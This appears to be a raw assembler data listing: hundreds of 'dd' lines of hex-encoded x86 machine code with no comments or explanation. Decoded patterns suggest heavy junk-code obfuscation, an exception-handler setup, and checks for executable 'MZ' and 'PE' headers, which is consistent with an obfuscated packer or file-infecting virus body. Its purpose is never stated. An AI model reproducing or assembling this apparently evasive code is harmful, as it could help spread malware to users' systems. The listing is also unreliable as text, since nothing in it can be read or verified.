4823DDB5h dd 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 2C35242h, 89118BD2h, 4798F8E6h, 0BF0FD82Bh, 0BD8958F6h dd 6483065h, 880FD82Bh, 163h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 8EC35141h, 1BB9CA0Fh, 7B94D1Bh dd 8B000000h, 4832ADBDh, 0C18306h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 6DC35141h, 0EFF8E3D6h, 54F40CAEh dd 860FD93Bh, 107h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 4AC35646h, 0F6B70F75h, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 5637C357h, 48F30486h, 15BE66h, 0F04C1F6h, 0AE84h, 0D9958900h dd 0FF06481Bh, 4806A195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0AB022BD8h dd 0F20A8C52h, 14E917h, 6A7B0000h, 0EF922FB2h, 967240B8h dd 0DAC97532h, 0F35F1B3Dh, 8166E9B5h, 5B336CEFh, 830FFB8Bh dd 9, 3830Fh, 8B660000h, 6AC32BF2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D874C352h dd 1C80F15Bh, 6660E39Fh, 654ED081h, 217D9D8Bh, 3D610648h dd 834h, 11860Fh, 8D890000h, 6480071h, 0EE9h, 0B59D8900h dd 8B064821h, 7AEF81C0h, 8B7E1F12h, 6AD88BC3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 2B5C355h, 0A58A98C5h, 99BD8B04h, 0E9064824h, 10h, 75E56D1Bh dd 0F6F05F62h, 0D391F37Bh, 4097E89Ah, 20FD85C7h, 6FF90648h dd 6A5E8Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0EB394DC3h, 0F0732C8h, 885h, 0B58B5300h dd 64804E9h, 15BE665Fh, 6AC08BD0h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 500CC350h dd 62DFA61Fh, 299169F1h, 482F7985h, 85BD8906h, 8106481Dh dd 4805E5BDh, 7D006h, 3D850F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0D0BEC352h dd 0EBB58580h, 0E98044A4h, 68F0Fh, 9D890000h, 64813E9h dd 5E585FFh, 95890648h, 6480239h, 5E5B5FFh, 6A0648h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 701F8AC3h, 13823504h, 13E9DC57h, 9B000000h, 146F55F4h dd 73535750h, 0EF35AB9Bh, 441CD7A5h, 95FF7FB8h, 6483061h dd 90F1BF0Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 53C35747h, 212DEE99h, 8BF852D1h, 0BBBE5FFEh, 6A7A7D9Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B9E7C355h, 0D8D82BDEh, 86DE813Fh, 0F5724BDh dd 8B66FABFh, 50006AF8h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0DDF77A1h, 152CA0FCh, 0F78BF74Eh dd 1E41BD8Bh, 5E80648h, 33000000h, 5C448089h, 0BE5FFB8Bh dd 3E79F1AEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 4FC35545h, 3D5CD6DCh, 786CCD7Dh, 8B66FE8Bh, 50006AFEh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 3B1CFC89h, 7E95329h, 61000000h, 4275C5B1h, 9E9276Ch dd 0AD000000h, 0AA8684E1h, 0E36C1E77h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 3FC35141h, 0F9BB9D77h, 0B4EC5763h dd 15BD8BDDh, 0E9064809h, 9, 2FC4FFA4h, 195556B4h, 0F772E9DEh dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 8DCECAC3h, 0AD062F26h, 0BD33F6FBh, 6482D55h dd 2991BD8Bh, 8B600648h, 0FFFEB9F1h, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0D85C43C3h dd 0AED767B3h, 800DE780h, 8D21EEE7h, 648051Dh, 0EC99589h dd 8D210648h, 6483071h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0AFC35040h, 298589AEh, 3306481Ah, 482F99B5h dd 1D8D8B06h, 6A064805h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 2651C357h, 0C98D437Bh dd 0B42146C2h, 0D91B531h, 0E1830648h, 0A850F01h, 31000000h dd 480B1DB5h, 59BF6606h, 718D8B2Dh, 6A064830h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0CC1DC356h, 50B49B46h, 0F01E183h, 2185h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0F196BE49h, 606112E8h, 0C850Fh, 8B0F0000h, 6, 0D5D9D89h dd 0FEB90648h, 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 79E1C353h, 21388CE8h dd 4826C58Dh, 0F9C78006h, 1A918D21h, 8BFC0648h, 4826C58Dh dd 9D8BF506h, 648311Dh, 0F01E183h, 2285h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 299D2B0Ch, 8B064832h, 481A918Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 5081EFBh, 5850Fh dd 81660000h, 8323BCCAh, 850F01E1h, 25h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 40C35747h, 0D681460Ch dd 2360FECBh, 6A6061FCh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 53DCC357h, 0FFFEB95Bh dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 2247D3C3h, 858BE5E2h, 6480DC9h, 1FFD8D21h dd 85290648h, 64815ADh, 2AC18D21h, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8B42F7C3h dd 4800BD95h, 0FD8D8B06h, 8B06481Fh, 1E183F3h, 0A850Fh dd 5E90000h, 0A3000000h, 0EA5501F5h, 2AC18D8Bh, 0E1830648h dd 2850F01h, 50000000h, 6A606158h, 3E85000h, 20000000h dd 8958C358h dd 81042444h, 1D042444h, 40000000h, 11FFC350h, 864EE295h dd 941881CCh, 252D9D89h, 950B0648h, 648299Dh, 0FFFFFEB9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 2647C710h, 21F0B70Fh, 4820FD8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8D21DE94h, 6482E45h, 240D8D89h, 8D8B0648h, 64820FDh dd 2CED958Bh, 0E1830648h, 6850F01h, 89000000h, 482EC995h dd 458D8B06h, 6A06482Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 1291C350h, 1E18322h dd 6850Fh, 8D010000h, 6480979h, 6A6061h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 59ED84C3h dd 5D5DA15Fh, 5E585C7h, 7D00648h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0FE3488C3h dd 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 7EB98A8h, 0E99D61h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8A07C350h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 8A5031E5h, 0BE330FEDh, 1F8F472h dd 481D5185h, 0BAC18B06h, 0F00E0000h, 0EA81h, 0C283F000h dd 99958914h, 8306480Ah, 858D14EAh, 64C2B0Eh, 35FF6450h dd 0 dd 258964h, 0E8000000h, 0 db 'X+б%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 0A98589C8h, 3064809h, 0B70F3C40h, 95890650h, 6482CF1h dd 8950508Bh, 48059995h, 0F80506h, 508B0000h, 89D1030Ch dd 481ED195h, 8500306h, 18359589h, 8F640648h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 0B19BD83h, 0F000648h, 2484h, 6D85C600h, 47064827h, 9AA7D268h dd 95B5FFD4h, 8D064821h, 4B831E85h, 6AD0FF06h, 89D0FF00h dd 48253985h, 0E8D38B06h, 0Ch, 5EF87C1Eh, 75CD5C86h, 4D290DBAh dd 0C7BF0F5Fh, 606DC781h, 8B0F0000h, 3, 0BAC6BF0Fh, 0 dd 9192BE66h, 80170C8Bh, 0C1814EDFh, 1719A4D6h, 81C18B66h dd 0A822D9F1h, 0C181F512h, 7E79C8ECh, 0C89FE8Ah, 0A6B86617h dd 3CB86691h, 1EA83BFh, 129DBE66h, 814A4A4Ah, 3DB8DD0h dd 0CFA8162h, 0FFFFFA0h, 0FFFFBB85h, 0A8C0FFFh, 0E9000000h dd 5, 0F79F508Ch, 6A604Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E96FA0C3h, 7B9C3BC1h dd 0BFA76E31h, 170E3D5Fh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0B58B4EC3h, 64809ADh dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501974h dd 38B8C08Bh, 89000004h, 4828A185h, 2C9D8D06h, 0FF064AB0h dd 83585BD3h, 482C61BDh, 17740006h, 38B85350h, 89000004h dd 4828A185h, 1B9D8D06h, 0FF064AADh, 6A585BD3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0CE0C350h, 0DE8166E6h, 860F5B62h, 4, 5ECE8B52h, 0B529C08Bh dd 6482051h, 1EF5B58Bh, 9BE80648h, 89000007h, 48185585h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 558D8B69h, 0E8064830h, 76Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 16C35242h, 5623EE97h dd 2831B58Bh, 665E0648h, 9293CF81h, 21818589h, 0C4BF0648h dd 0E86A67E8h, 732h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 8CC35040h, 0C6F8546Eh, 85891CEEh, 64822E5h dd 22818589h, 880F0648h, 6, 2C258D8Bh, 0F3E80648h, 6A000006h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 1E42C356h, 0A3DB8371h, 54D1D316h, 0EDC9D5BFh dd 45852954h, 8B06481Eh, 1D8589CFh, 6A06482Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 90DCC353h, 0DE9F8h, 80240000h, 0D18789h, 0F2F15DEDh dd 0E8499EACh, 686h, 0CF5BD29h, 85890648h, 6481035h, 0B880Fh dd 6E90000h, 45000000h, 0B57158A3h, 9509603Fh, 6481505h dd 65CE861h, 81660000h, 899128F7h, 4824B585h, 810F06h dd 0BF000000h, 69A76CF2h, 641E8h, 41952900h, 89064802h dd 4828C985h, 8B7EB506h, 4819258Dh, 628E806h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0ABACB5C3h, 8589E88Ah, 648228Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0EEC35242h, 8B0F5383h, 0 dd 5D8E85Eh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 40BC1EC3h, 29944956h, 480BA1B5h dd 0BE906h, 0F1030000h, 0C593E2B8h, 6F4461CFh, 0ED85898Dh dd 6A06481Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 9B41C357h, 578E8B1h, 0BE660000h dd 85894E4Dh, 64827B5h, 81C2CF81h, 63E83A8Dh, 6A000005h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0FC352h, 0FE8B66BBh, 29E18589h, 8D8B0648h dd 6482B1Dh, 531E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0B0B4619Fh, 0AE86Ah, 5CE60000h dd 8B4569ADh, 0EF79AEF2h, 0B98D8B50h, 5E064828h, 0E5858959h dd 6A064826h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 47DAC350h, 21BA5183h, 4CDE8h dd 0E19D8900h, 8906480Ah, 4825F585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0ABA9E0C7h dd 326768B3h, 499E8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 0CEA843E8h, 0F1816603h dd 8589B5DCh, 6480489h, 469E8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 3D8589FAh dd 6A06481Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 5726C352h, 0FAD10159h, 1A2D9D29h dd 0C9810648h, 194B12BFh, 415E8h, 85896000h, 6480EDDh dd 45C38166h, 858961CFh, 6480D05h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 9CC35545h, 0CBCAD171h, 8B12CB16h dd 481ED98Dh, 11BE6606h, 8900B0B6h, 48006DBDh, 0D8B60F06h dd 5870Fh, 53BF0000h, 3002A23h, 4800DDB5h, 6BA06h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0D9AB5FC3h, 0DB3C086Fh, 0C985294Ah, 29064806h, 481CBD85h dd 8BC38B06h, 48104DB5h, 0B1BD8B06h, 0C106481Eh, 820F04E8h dd 10h, 0BE9h, 9FF97F00h, 5EE0A6E6h, 0E05277BEh, 60E2F766h dd 0C65B50Bh, 81660648h, 618800EEh, 6AD82Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 532F79C3h dd 2D9EE84Bh, 8D8B1B11h, 6481D85h, 0FEE5BE50h, 1C891B4Dh dd 0A195FF24h, 6A064806h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0DF29C357h, 1BDCC28Fh dd 440F281Ch, 6A5BF9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 820F16C3h, 6, 151D8D09h, 958D0648h dd 6482AA9h, 0A4BF6653h, 1A89599Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 34C35646h, 0D912BE53h, 0C7A74BE0h dd 0F3B70FB4h, 66044289h, 958DF08Bh, 6480A6Dh, 89F98B66h dd 0E1BD8B1Ah, 89064825h, 66510442h, 7A04DF81h, 81958D5Eh dd 6A06482Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 81C0C355h, 17F02684h, 1A890DCBh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 3CC35343h dd 0B364691h, 0E9F98B66h, 5, 88F49043h, 44289DAh, 19A6B966h dd 2E4D8D89h, 958D0648h, 6481DCDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 7FC35242h, 6A1A89h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0C56701C3h, 8907866Bh, 6A0442h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 8DDD7CC3h, 481E2595h dd 0B5896006h, 648188Dh, 0C38B6652h, 1A896159h, 23E9B533h dd 42890648h, 0E1B58B04h, 8D06480Fh, 4820D195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 80A3A2F9h, 5060D5DDh, 254D8D8Bh, 805F0648h, 896194E4h dd 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 5D959ADEh, 5F817D29h, 44289D9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 42C35242h, 1D418529h dd 0B52B0648h, 6480D89h, 2331958Dh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 973BF2C3h dd 1A89FB8Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 67C35343h, 2F6977DBh, 973316C3h, 0A58D89E5h, 8906482Dh dd 6A0442h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0E100B5C3h, 81664FA1h, 660C40E9h, 8D9622BFh dd 481B6595h, 1A89FC06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 9BC35545h, 0EE3E6466h, 243D8D09h, 42890648h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0E9E227h, 6A000001h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 4585C357h dd 0ED85891Fh, 66064820h, 6AF98Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0C7C35040h, 9FB1280h, 4800718Dh dd 6A006A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 1652C355h, 8B310E8Ch, 79BE70AEh dd 6A381E84h, 7D9D0900h, 0E9064829h, 9, 0A97B741Ah, 0BE563FACh dd 6A006A3Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 9A23C352h, 37A17998h, 8166B276h dd 0FF9C0FE6h, 4819BD95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0F2BF0FCBh dd 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0C4ABBCB7h, 8ADC6B4Bh, 52006AC5h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0E369634Bh, 0EFFE41F5h, 6E914h, 0F28E0000h, 66414DD3h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0CE8B11C3h, 835F57BCh, 4820E9BDh, 9750006h dd 2C61BD83h, 74000648h, 8B535019h, 438B8C0h, 85890000h dd 6480021h, 0B0939D8Dh, 0D3FF064Ah, 0BD83585Bh, 6482C61h dd 50177400h, 438B853h, 85890000h, 6480021h, 0AD349D8Dh dd 0D3FF064Ah, 0BD23585Bh, 6482D59h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0B9C35747h, 9D891051h, 6482191h dd 858DC08Bh, 64832FDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0F1C35040h, 4FCCB41Dh, 29D9B70Fh, 4824658Dh dd 0BBF9006h, 5077D9A3h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0F8DD63Fh, 0BF0FD8B7h dd 8B006ADEh, 6A006ADAh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 8ED3C350h dd 0C8F72D1Ch, 3850858Dh, 6A064Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 118CEFC3h, 6800Fh, 0BD890000h dd 64809A1h, 6A05C083h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0E151C351h, 6665D00h dd 1DB58966h, 50064815h, 7E860h, 0CA430000h, 3FCA0D95h dd 5FC68B24h, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0FDC35343h, 0D5E780CBh, 9D8B006Ah, 6480B45h dd 0BE9h, 78477900h, 0EA02B811h, 9CB89B42h, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 11FF97C3h, 864EE295h, 801881CCh, 95FFE0F3h, 648277Dh dd 1EED8589h, 8E90648h, 99000000h, 857C217Eh, 8D71F949h dd 4B9C148Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 81665E4Bh, 0FFCCFBD3h, 53006AD1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 809BEA95h, 43F6AA6h, 0FBBF0F50h, 799D015Fh, 8B064804h dd 482F559Dh, 49BD8306h, 1064819h, 89850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0D92B85C3h, 2C598589h, 26A0648h, 5090FA8Bh, 0F01B352h dd 8C0F5631h, 0 dd 50585A5Bh, 13E9h, 88ACC400h, 169C6882h, 2E844966h, 0D4059A4h dd 13607AC7h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 49997470h, 0F7CB8166h, 0E195FF56h dd 0F064823h, 680h, 3FD78100h, 0E9288E6Ch, 0D8Ch, 0E8h dd 0ED815D00h, 64C385Ah, 6A1FB3h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 6C5A77C3h, 858D1A5Fh dd 64B9744h, 2D8D8501h, 51500648h, 2404895Fh, 11E8h, 0B27C7800h dd 0ED04E821h, 393E89D9h, 58EDDDC6h, 0BD8B560Bh, 6480E51h dd 0EE95Bh, 7D2B0000h, 0FFCACD9Bh, 0E6BDBDEAh, 0C4BC82D4h dd 35FF64h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 8BB3C356h, 80C082F0h dd 0BD8BA3E3h, 6481809h, 258964h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0FF9EC352h, 480A2D85h, 0CE806h, 0B9C10000h, 4476B120h dd 3E243EFAh, 8B0FADAEh, 3, 5BA7C780h, 0FFBBFF6Ah, 0FF65AB8Fh dd 481855B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 7036FD0Ah, 0B35BD8Bh, 95FF0648h dd 6480AA5h, 109E9h, 9D896000h, 6482535h, 0CCF08060h, 90EABF66h dd 0B06161h, 4CD8529h, 70E60648h, 3CF971E4h, 0E3830F61h dd 0F000000h, 86h, 0C8B60F00h, 7642B6BBh, 6EF8052h, 6BAh dd 11BD8B00h, 8B064806h, 0BD8B50C1h, 648214Dh, 4E8C15Fh dd 60E2F766h, 9159589h, 0BF660648h, 2B61D3DDh, 2D8589C8h dd 8B064819h, 80BB66D1h, 1DE96Ch, 11E80000h, 0B8000000h dd 783C3737h, 9F935CACh, 988BFBD0h, 0CCA68A0h, 1FC18589h dd 8B5B0648h, 482AA985h, 0DD958906h, 83064805h, 8D8907C0h dd 6481561h, 8100C083h, 5B723DDFh, 0FD03B5Bh, 2A83h, 890F6000h dd 4, 701ABA66h, 20B59D09h, 0E9610648h, 3Eh, 0EE9h, 6C2FAC00h dd 52B2FFE2h, 0B7208FADh, 8BA1B2FCh, 482E458Dh, 1E18306h dd 1C840Fh, 0A5830000h, 6482E45h, 0A58589FEh, 89064821h dd 482AA995h, 0C4BB6606h, 0E998h, 0B58D0000h, 64BD0E8h dd 79E78166h, 299D8B82h, 6A064832h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0BF414413h dd 8D0F3D63h, 2, 95FF5F56h, 6483061h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0EEC35545h, 149E1166h, 850AD131h dd 6810Fh, 0D3810000h, 2065E841h, 0BE8h, 7AA0BA00h, 750089B3h dd 0B57DB51Fh, 0B95FDE8Ah, 7AFh, 95B5BF66h, 6AFCE183h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0E60BC355h, 1F55A4DAh, 313A9855h, 482E919Dh dd 6AFC06h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 79776BC3h, 29959D03h, 0C02B0648h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 10C35242h, 2923B216h dd 58CFC68Bh, 15C78166h, 0BAA0h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 54348EC3h dd 666584FEh, 0E98B13BBh, 0Dh, 76F38A16h, 0C2231D46h, 0C22737A8h dd 81858984h, 0AD06480Ch, 0E8D1C233h, 0E983D003h, 66F47504h dd 26EAD381h, 880Dh, 0F98B6600h, 0A19958Bh, 1BBF0648h dd 8B49A199h, 480F358Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0C28B5038h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 0F58188Bh, 0D84h, 8E900h, 67E40000h dd 0B215088Eh, 6AB020h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 41FF47C3h, 34F26920h, 0BD83F478h dd 64819A5h, 3F840F00h, 0B8000000h, 0 dd 648D8DF9h, 0FF06484Bh, 53006AE1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 767DFCF8h dd 8B666098h, 68E0FC1h, 0F000000h, 83h, 0BD836100h, 6482425h dd 90840F00h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0F6AFC353h, 0FE8083E8h dd 8B666B18h, 10E9D9h, 20230000h, 52FBBFBh, 0EE953529h dd 0C56554B1h, 0BD83E261h, 6482425h, 63840F01h, 80000004h dd 0BD8314DFh, 6482425h, 1D860F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 420AC357h, 51C61DFBh, 0CE9605Bh, 19000000h, 0F0A7AE98h dd 811B8FAEh, 803E174Dh, 60613CDCh, 66D8B70Fh, 870FD98Ch dd 6, 0E31BD8Bh, 0E1800648h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 738EE0B6h dd 0E9E927E4h, 10h, 4A787A6Fh, 7A2FAA6Eh, 47BCF338h, 0F48AF105h dd 14E8h, 5FF53900h, 0ACCA082Dh, 73F31D56h, 71F6363Bh dd 2531C0EBh, 0B19D8977h, 5F06480Ah, 840FC90Ah, 0E4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C1C35040h, 6262B61Eh dd 6A1B2296h, 858BDF8Bh, 6482385h, 68F0Fh, 8D890000h, 64819E1h dd 2AC98533h, 0BF500648h, 35CB9385h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0E1B1C357h, 10E903E0h, 60000000h, 0DFB0EF5Ah, 88BDD70Ch dd 657B308Dh, 6AD66382h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 5868495Fh, 0B7CEEA4Eh dd 240481F9h, 3134B5A7h, 1C0195FFh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 9B2DD8C3h dd 85899F5Dh, 64BB92Ch, 8D31D98Bh, 6482F15h, 1D9E9h, 1ED78000h dd 0B924858Bh, 0BD01064Bh, 6480F2Dh, 0C7DBB70Fh, 1800h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 8B79DBE1h, 4BB928B5h, 91BD8B06h, 8B06481Dh dd 482BA19Dh, 0F1858B06h, 6A06482Bh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 2C03C357h dd 2086EAEEh, 9D03E504h, 6481DF1h, 6A0689h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A05237C3h dd 0E4A0C4A2h, 0F40D9B2h, 858BFABFh, 6482385h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 75C35040h, 4DCE5FAh dd 8A17F361h, 44689F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0A7C35747h, 4828CF16h, 5FD7DF81h, 85097AB6h dd 6482C65h, 0B3525096h, 0E8310F36h, 0Ah, 5BCD9275h, 59C4A1D4h dd 5250A3A0h, 585A310Fh, 50585A5Fh, 0FF03B396h, 4BB924B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0A867EEF3h, 767663E2h, 819D8BE3h, 68064828h dd 79DEFE2Fh, 95A8ACBBh, 24348111h, 79C1FDD0h, 0D870Fh dd 8E90000h, 0E000000h, 